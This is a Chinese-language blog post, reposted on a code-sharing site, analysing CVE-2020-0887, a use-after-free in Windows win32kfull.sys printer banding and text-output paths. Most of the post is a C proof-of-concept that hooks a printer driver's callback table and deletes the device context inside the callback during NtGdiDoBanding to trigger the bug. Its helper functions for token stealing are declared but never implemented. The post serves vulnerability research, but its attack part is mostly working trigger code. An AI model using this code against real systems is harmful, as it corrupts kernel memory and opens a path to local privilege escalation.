ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2020-0887漏洞分析

2022-07-07 20:03:44  阅读:213  来源: 互联网

标签:HANDLE ULONG SYSTEM hdc1 0887 2020 rec CVE DrvEnablePDEV


0x00漏洞信息

漏洞影响:本地提权

漏洞文件:win32kfull.sys

漏洞函数:GreDoBanding/GreExtTextOutWLocked

漏洞原因:UAF

漏洞日期:2020 年 3 月 10 日

0x01漏洞分析

打印机设备上下文 Use-After-Free 权限提升漏洞

1.具体的缺陷存在于win32kfull!GreExtTextOutWLocked函数。这个问题是由于在对表面对象执行操作之前没有验证表面对象的存在。当GreExtTextOutWLocked调用UMPDDrvTextOut函数时,UMPDDrvTextOut可以触发一个用户模式回调到Ring3代码并释放表面对象,这导致当返回内核时用户释放后的条件

2.win32kfull!GreDoBanding函数调用UMPDDrvNextBand函数时,UMPDDrvNextBand可以触发一个用户模式回调到Ring3代码并释放表面对象,这导致当返回内核时用户释放后的条件。

0x2poc

#include<windows.h>
#include<winddi.h>
#include<winspool.h>
#include <winternl.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib ")
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#define ThreadNameInformation 0x26
#define SystemExtendedHandleInformation  64
#define SystemBigPoolInformation 66

using ZwQuerySystemInformation_t = NTSTATUS(*)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

using NtSetInformationThread_t = NTSTATUS(*)(
    HANDLE threadHandle,
    THREADINFOCLASS threadInformationClass,
    PVOID threadInformation,
    ULONG threadInformationLength);


using DrvEnableDriver_t = BOOL(*)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvDisableDriver_t = void(*)();

typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union
    {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;     // Set to 1 if entry is nonpaged.
    };
    SIZE_T SizeInBytes;
    union
    {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION
{
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;



namespace g {
    DrvEnablePDEV_t OldDrvEnablePDEV = 0;
    DrvEnableDriver_t DrvEnableDriver = 0;
    DrvDisableDriver_t DrvDisableDriver = 0;
    ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
    NtSetInformationThread_t NtSetInformationThread = 0;
    ULONG64 RtlSetAllBitsAddress = 0;
    PCHAR szKernelName = NULL;
    PCHAR szPrinterName = NULL;
    HANDLE hToken = INVALID_HANDLE_VALUE;
    ULONG64 KernelBase = 0;
    bool bIsTrigger = false;
    HDC hdc = 0;
};

void Hook_DrvEnablePDEV();
ULONG64 GetKernelBase();
bool Init();
ULONG64 GetToken();
DHPDEV DrvEnablePDEV_Proxy(
    SURFOBJ* pso, POINTL* pptl);

void Hook_DrvEnablePDEV() {
    DWORD cbBuf = 0;
    DWORD cbNeed, cReturned;
    PPRINTER_INFO_4 PrintInfo = NULL;
    DRVENABLEDATA DrvData;
    DWORD OldProtect;
    HANDLE hPrinter = INVALID_HANDLE_VALUE;

    //首先枚举本地安装的打印机,找到可用的
    EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &cbNeed, &cReturned);
    if (cbNeed <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }
    PrintInfo = (PPRINTER_INFO_4)GlobalAlloc(GMEM_ZEROINIT, cbNeed);
    if (PrintInfo == NULL) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
        exit(-1);
    }
    if (!EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (PBYTE)PrintInfo, cbNeed, &cbNeed, &cReturned)
        || cReturned <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }

    // 循环查找打印机
    for (DWORD i = 0; i < cReturned; i++) {
        if (!OpenPrinterA(PrintInfo[i].pPrinterName, &hPrinter, NULL)) {
            printf("[Error_%d] Hook_DrvEnablePDEV(): OpenPrinterA failed.\n", __LINE__);
            continue;
        }
        else {
            printf("[+] Using a available printer: %s.\n", PrintInfo[i].pPrinterName);
            g::szPrinterName = _strdup(PrintInfo[i].pPrinterName);

            // 获取打印机驱动文件名
            GetPrinterDriverA(hPrinter, NULL, 2, NULL, NULL, &cReturned);
            if (cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }
            PDRIVER_INFO_2 DrvInfo = (PDRIVER_INFO_2)GlobalAlloc(GMEM_ZEROINIT, cReturned);
            if (DrvInfo == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
                continue;
            }

            if (!GetPrinterDriverA(hPrinter, NULL, 2, (PBYTE)DrvInfo, cReturned, &cReturned) ||
                cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }

            HMODULE hPrinterDrv = LoadLibraryExA(DrvInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
            if (hPrinterDrv == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): LoadLibraryExA failed.\n", __LINE__);
                continue;
            }

            g::DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinterDrv, "DrvEnableDriver");
            g::DrvDisableDriver = (DrvDisableDriver_t)GetProcAddress(hPrinterDrv, "DrvDisableDriver");
            if (g::DrvEnableDriver == NULL || g::DrvDisableDriver == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find target functions .\n", __LINE__);
                continue;
            }
            // 打开图形驱动,获取回调函数列表,里面有我们要HOOK的函数
            if (!g::DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &DrvData)) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): DrvEnableDriver failed.\n", __LINE__);
                continue;
            }

            if (!VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), PAGE_READWRITE, &OldProtect))
            {
                printf("[Error_%d] Hook_DrvEnablePDEV(): VirtualProtect failed.\n", __LINE__);
                continue;
            }

            for (DWORD i = 0; i < DrvData.c; i++) {
                if (DrvData.pdrvfn[i].iFunc == INDEX_DrvNextBand) {
                    // 保存并HOOK
                    g::OldDrvEnablePDEV = (DrvEnablePDEV_t)DrvData.pdrvfn[i].pfn;
                    DrvData.pdrvfn[i].pfn = (PFN)DrvEnablePDEV_Proxy;
                    break;
                }
            }
        }
        // 关闭图形驱动
        g::DrvDisableDriver();
        VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), OldProtect, &OldProtect);

        return;
    }

}
HDC hdc1;
DHPDEV DrvEnablePDEV_Proxy(
    SURFOBJ * pso,POINTL * pptl) {

    DHPDEV res;
    
    pptl->x = 0xffffffff; 
    pptl->y = 0xffffffff;
    res = g::OldDrvEnablePDEV(pso, pptl);
    if (g::bIsTrigger) {
        printf("[+] DrvEnablePDEV_Proxy called.\n");
        EndDoc(hdc1);
        DeleteDC(hdc1);
    }
    return res;
}

typedef NTSTATUS(NTAPI* myfull)
(HDC a1, int a2, POINTL* a3, tagSIZE* a4);
int main(int argc, char* argv[])
{
    Hook_DrvEnablePDEV();//HOOK DrvTextOut  Microsoft XPS Document Writer
    hdc1 = CreateDCA(0, "Microsoft XPS Document Writer", 0, 0);//创建打印设备OneNote
    printf("[-] hdc: %p\n", hdc1);
    

    SetTextAlign(hdc1, 0xff);
    SetBkMode(hdc1, 2);
    DOCINFOW d1;
    d1.cbSize = sizeof(DOCINFOW);
    d1.lpszDocName = L"print1";
    d1.lpszOutput = d1.lpszDocName;
    d1.lpszDatatype = L"EMF";
    d1.fwType = 0xa8990032;

    // 用于设置每个字符间隔的数组  
    int arr1[3] = { 95,77, 0 };
    int arr2[3] = { 35, 40, 0 };
    int arr3[2] = { 32, 0 };
    RECT rec;
    rec.left = 5;//0
    rec.right = 6;//3
    rec.bottom = 8;//2
    rec.top = 7;//1
    POLYTEXT polys[] = { {2,2,5,"大家",2,rec,&arr3[0]},
    {2,25,5,"新年好",2,rec,&arr2[0]},
    {999,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]}
    };
    g::bIsTrigger = TRUE;

    HINSTANCE LibHandle;
    LibHandle = LoadLibrary("win32u");
    myfull funtion = (myfull)GetProcAddress(LibHandle, "NtGdiDoBanding");

    int a = StartDocW(hdc1, &d1);//启动打印作业
    
    printf("[-] 打印机: %d\n", a);
    StartPage(hdc1);
    funtion(hdc1,0,0,0);
    EndPage(hdc1);
    POINTL * TE = (POINTL*)malloc(sizeof(POINTL));
    tagSIZE * TAG= (tagSIZE*)malloc(sizeof(tagSIZE));
    //TextOutA(hdc1, 0, 0, LPCSTR("Test String"), 11);
    //BeginPath(hdc1);
    //funtion(hdc1, 0, TE, TAG);

    //__debugbreak();
    
    //PolyTextOutA(hdc1, &polys[0], 5);

    
    //TextOutA(hdc1, 0, 0, LPCSTR("Test String"), 11);
    //EndPath(hdc1);
    
    getchar();
    return 0;
}

 

标签:HANDLE,ULONG,SYSTEM,hdc1,0887,2020,rec,CVE,DrvEnablePDEV
来源: https://www.cnblogs.com/feizianquan/p/16455927.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[[email protected]]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有